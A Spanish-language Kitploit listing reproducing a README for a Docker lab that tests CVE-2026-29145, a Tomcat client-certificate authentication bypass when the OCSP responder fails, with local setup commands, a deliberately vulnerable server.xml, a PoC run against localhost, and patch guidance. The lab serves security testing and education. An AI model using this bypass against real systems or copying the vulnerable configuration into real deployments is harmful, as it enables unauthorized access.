Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-29145-Tester — Este repositorio contiene un entorno de prueba de concepto (PoC) diseñado para probar la CVE-2026-29145. | Kitploit
Herramientas/GitHubGitHub/sancliffe/cve-2026-29145-tester
Análisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de PenetraciónAutenticaciónAprendizaje y Educación
GitHubsancliffe/cve-2026-29145-tester

CVE-2026-29145-Tester

Este repositorio contiene un entorno de prueba de concepto (PoC) diseñado para probar la CVE-2026-29145.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Entorno de Pruebas CVE-2026-29145

📌 Descripción General

Este repositorio contiene un entorno de prueba de concepto (PoC) diseñado para probar la CVE-2026-29145.

La vulnerabilidad es una omisión de autenticación en la implementación de TLS mutuo (CLIENT_CERT) de Apache Tomcat. Cuando OCSP (Protocolo de Estado de Certificados en Línea) está configurado con fallo suave deshabilitado, Tomcat puede no tratar un fallo de verificación OCSP como una denegación estricta. Esto permite que un cliente con un certificado potencialmente revocado o no verificado omita la autenticación si el respondedor OCSP no está disponible o devuelve un error.

🛡️ Detalles de la Vulnerabilidad

PropiedadValor
ID CVECVE-2026-29145
Puntuación CVSS9.1 (Crítica) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vector de AtaqueRed
Privilegios RequeridosNinguno
ImpactoOmisión de Autenticación

Requisitos Previos para la Vulnerabilidad

  • ✓ Autenticación CLIENT_CERT habilitada en Tomcat
  • ✓ Verificación de revocación OCSP habilitada
  • ✓ Opción de fallo suave deshabilitada (modo de fallo estricto)
  • ✓ Respondedor OCSP no disponible o con fallos

🚀 Primeros Pasos

Requisitos Previos

  • Docker y Docker Compose: Para ejecutar el contenedor vulnerable de Tomcat
  • OpenSSL: Para generar la PKI (Infraestructura de Clave Pública) - normalmente preinstalado en Linux/macOS
  • Python 3.7+: Para ejecutar el script de prueba y el respondedor simulado
  • curl (opcional): Para pruebas manuales
  • PowerShell (solo Windows): Si se utilizan los scripts .ps1

1. Ciclo de Prueba Completo Automatizado (Recomendado)

El script run_test.sh automatiza todo el proceso: limpieza, generación de certificados y ejecución de todos los escenarios de prueba (vulnerable, exitoso y parcheado).

root@kitploit:~
# Navegar al directorio del proyecto
cd CVE-2026-29145-Tester

# Hacer ejecutables los scripts
chmod +x cleanup.sh setup_certs.sh run_test.sh

# Instalar dependencias de Python (si poc_exploit.py las requiere)
pip install -r requirements.txt

# Ejecutar la suite de pruebas completa
./run_test.sh

2. Generar certificados

En Linux/macOS:

root@kitploit:~
./setup_certs.sh

En Windows (PowerShell):

root@kitploit:~
.\setup_certs.ps1

Qué hace esto:

  • Crea una CA raíz (Autoridad de Certificación)
  • Genera el certificado de servidor para Tomcat
  • Genera el certificado de cliente con extensión OCSP apuntando a http://localhost:8888
  • Valida que todos los certificados se hayan creado correctamente

Salida esperada:

root@kitploit:~
[INFO] Iniciando generación de certificados para el entorno de pruebas CVE-2026-29145
[INFO] OpenSSL encontrado: OpenSSL 3.0.x (...)
[INFO] Directorio certs creado
[INFO] Generando CA raíz...
[INFO] Generando certificado de servidor...
[INFO] Generando certificado de cliente con extensión OCSP...
[INFO] ¡Configuración de certificados completada exitosamente!

3. Iniciar el entorno vulnerable

root@kitploit:~
docker-compose up -d

Qué hace esto:

  • Inicia el respondedor simulado OCSP en el puerto 8888 (simula fallos con HTTP 500)
  • Inicia Tomcat 10.1.52 vulnerable en el puerto 8443 con autenticación CLIENT_CERT
  • Crea una red Docker interna para la comunicación entre servicios
  • Configura comprobaciones de salud para ambos servicios

Verificar que los contenedores estén ejecutándose:

root@kitploit:~
docker-compose ps

4. Ejecutar la prueba de explotación

root@kitploit:~
python poc_exploit.py

Salidas esperadas:

Sistema Vulnerable:

root@kitploit:~
[INFO] Intentando conexión a https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Acceso concedido a pesar del fallo de verificación OCSP.
[WARNING] Vista previa de la respuesta: <html>...

Sistema Parcheado:

root@kitploit:~
[INFO] Intentando conexión a https://localhost:8443/protected-resource...
[INFO] NO VULNERABLE: Acceso denegado (Autenticación funcionando).

🧪 Escenarios de Prueba

EscenarioEstado OCSPEsperado (Parcheado)Resultado (Vulnerable)Notas
Operación NormalEn línea y Válido200 OK ✓200 OK ✓La verificación OCSP tiene éxito, acceso concedido
Fallo SuaveSin conexión/Timeout403 Prohibido ✓200 OK ✗OMISIÓN - Respondedor OCSP no disponible
Revocación EstrictaEn línea y Revocado403 Prohibido ✓403 Prohibido ✓Certificado explícitamente revocado
Certificado InválidoCadena Inválida403 Prohibido ✓403 Prohibido ✓La validación de la cadena falla

Ejecución de Diferentes Escenarios de Prueba

Prueba 1: Predeterminado (Respondedor OCSP con Fallos)

root@kitploit:~
# Mantener los contenedores ejecutándose
python poc_exploit.py

Prueba 2: Detener el Respondedor OCSP (Simular Timeout)

root@kitploit:~
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

Prueba 3: Prueba Manual con curl

root@kitploit:~
curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

🛠️ Estructura del Proyecto

root@kitploit:~
CVE-2026-29145-Tester/
├── README.md                    # Este archivo
├── setup_certs.sh              # Script de generación de certificados - Bash (Linux/macOS)
├── setup_certs.ps1             # Script de generación de certificados - PowerShell (Windows)
├── cleanup.sh                  # Script de limpieza y reinicio - Bash (Linux/macOS)
├── cleanup.ps1                 # Script de limpieza y reinicio - PowerShell (Windows)
├── run_test.sh                 # Script de ciclo de prueba completo automatizado
├── docker-compose.yml          # Orquestación de servicios Docker
├── requirements.txt            # Dependencias de Python
├── poc_exploit.py              # Script principal de prueba (con registro y manejo de errores)
├── simple_proxy_fail.py        # Respondedor OCSP simulado (con registro detallado)
├── .gitignore                  # Reglas de ignorado de Git para certificados y registros
├── certs/                      # Certificados generados (creados por los scripts setup_certs)
│   ├── ca-chain.pem           # Certificado de CA raíz
│   ├── ca-key.pem             # Clave privada de CA raíz
│   ├── server-cert.pem        # Certificado de servidor Tomcat
│   ├── server-key.pem         # Clave privada de servidor Tomcat
│   ├── client-cert.pem        # Certificado de cliente de prueba
│   └── client-key.pem         # Clave privada de cliente de prueba
├── tomcat/
│   └── server.xml             # Configuración vulnerable de Tomcat
└── logs/                       # Registros de Tomcat (creados en tiempo de ejecución)

📋 Detalles de Configuración

Configuración de Server.xml (Vulnerable)

El archivo tomcat/server.xml configura:

root@kitploit:~
<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

Configuraciones Clave:

  • certificateVerification="required" - Aplica la autenticación CLIENT_CERT
  • OCSP on - Habilita la verificación de revocación OCSP
  • Sin anulación de fallo suave - Utiliza el modo de fallo estricto (vulnerable)

Configuración del Respondedor OCSP

El respondedor OCSP simulado (simple_proxy_fail.py):

  • Escucha en localhost:8888
  • Siempre devuelve HTTP 500 (Error del Servidor)
  • Registra todas las solicitudes OCSP entrantes
  • Simula un servicio OCSP no disponible o con fallos

🔧 Solución de Problemas

Problemas Comunes y Soluciones

❌ Error: "OpenSSL no está instalado"

root@kitploit:~
# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ Error: "Faltan archivos de certificado"

Causa: La generación de certificados falló o no se ejecutó.

root@kitploit:~
# Limpiar y regenerar
rm -rf certs
./setup_certs.sh

❌ Error: "Conexión rechazada" en el puerto 8443

Causa: El contenedor de Tomcat no está ejecutándose o no está listo.

root@kitploit:~
# Verificar el estado del contenedor
docker-compose ps

# Verificar registros
docker-compose logs vulnerable-tomcat

# Asegurarse de que ambos servicios estén ejecutándose y saludables
docker-compose up -d
sleep 10  # Esperar a que los servicios se inicien

❌ Error: "Tiempo de conexión agotado"

Causa: Tomcat tarda demasiado en iniciarse o hay problemas de red.

root@kitploit:~
# Verificar los registros de inicio de Tomcat
docker-compose logs vulnerable-tomcat

# Aumentar el tiempo de espera y reintentar
timeout 30 docker-compose logs -f vulnerable-tomcat  # Monitorear el inicio

❌ Error: "docker-compose: comando no encontrado"

Causa: Docker Compose no está instalado o no está en el PATH.

root@kitploit:~
# Instalar Docker Compose (si se usa independiente)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# O usar docker compose (V2 integrado con Docker Desktop)
docker compose up -d

❌ Error: "SSL: CERTIFICATE_VERIFY_FAILED"

Causa: La validación del certificado está fallando.

root@kitploit:~
# Verificar que los archivos de certificado existan
ls -la certs/

# Verificar la validez del certificado
openssl x509 -in certs/client-cert.pem -noout -text

❌ Error: "requests.exceptions.SSLError"

Causa: Fallo en el protocolo de enlace SSL - puede indicar que el fallo estricto está funcionando correctamente.

Solución: ¡Esto es en realidad una señal positiva! El fallo estricto está impidiendo el acceso cuando OCSP falla.

root@kitploit:~
# Verificar si el respondedor OCSP está ejecutándose
docker-compose ps ocsp-responder

# Ver el error detallado
python poc_exploit.py  # Ya proporciona registro detallado

❌ Error: "Dirección ya en uso"

Causa: El puerto 8443 o 8888 ya está en uso.

root@kitploit:~
# Encontrar el proceso que usa el puerto
lsof -i :8443
lsof -i :8888

# Terminar el proceso o usar puertos diferentes en docker-compose.yml

Depuración y Registros

Ver registros detallados

root@kitploit:~
# Registros de Tomcat
docker-compose logs -f vulnerable-tomcat

# Registros del respondedor OCSP
docker-compose logs -f ocsp-responder

# Depuración del script de Python
python poc_exploit.py  # Ya incluye registro detallado

Monitorear eventos en tiempo real

root@kitploit:~
# Abrir una terminal y ejecutar
docker-compose logs -f

# En otra terminal, ejecutar la prueba
python poc_exploit.py

Depuración de red

root@kitploit:~
# Probar conectividad con el respondedor OCSP
curl http://localhost:8888/

# Probar el respondedor OCSP desde dentro del contenedor de Tomcat
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/

# Probar el protocolo de enlace SSL
openssl s_client -connect localhost:8443 \
  -cert certs/client-cert.pem \
  -key certs/client-key.pem \
  -CAfile certs/ca-chain.pem

🧹 Limpieza

Para eliminar todos los contenedores, volúmenes, certificados y registros:

En Linux/macOS:

root@kitploit:~
./cleanup.sh

En Windows (PowerShell):

root@kitploit:~
.\cleanup.ps1

Qué hace esto:

  • Detiene y elimina todos los contenedores Docker
  • Elimina el directorio certs/ generado
  • Elimina el directorio logs/
  • Limpia los archivos de caché de Python

Verificar la limpieza:

root@kitploit:~
docker-compose ps  # No debería mostrar nada
ls -la certs/      # No debería existir

⚖️ Aviso Legal

Este proyecto es solo para fines educativos y de pruebas de seguridad autorizadas.

  • ⚠️ Úselo únicamente contra sistemas que posea o para los que tenga permiso escrito explícito para probar
  • ⚠️ Usar estas herramientas contra sistemas sin autorización es ilegal y poco ético
  • ⚠️ Los autores no son responsables de ningún uso indebido de este software
  • ⚠️ Asegúrese siempre de tener copias de seguridad adecuadas antes de probar en sistemas de producción

📝 Remediación

Para mitigar esta vulnerabilidad, actualice Apache Tomcat a las siguientes versiones:

Serie de VersiónVersión Mínima Corregida
11.0.x11.0.20 o posterior
10.1.x10.1.53 o posterior
9.0.x9.0.116 o posterior

Pasos de actualización:

root@kitploit:~
# Ejemplo: Actualizar docker-compose.yml para usar la versión parcheada
# Cambiar: image: tomcat:10.1.52-jdk17
# A: image: tomcat:10.1.53-jdk17

docker-compose down
docker-compose up -d

🔗 Referencias

  • Detalles de CVE-2026-29145
  • Documentación de Apache Tomcat
  • OCSP (RFC 6960)
  • Descripción General de TLS Mutuo (mTLS)

📬 Soporte

Para problemas, preguntas o contribuciones, abra un issue o envíe una solicitud de extracción.


Última Actualización: Abril 2026
Estado: Pruebas y Documentación Completas

Descargar herramienta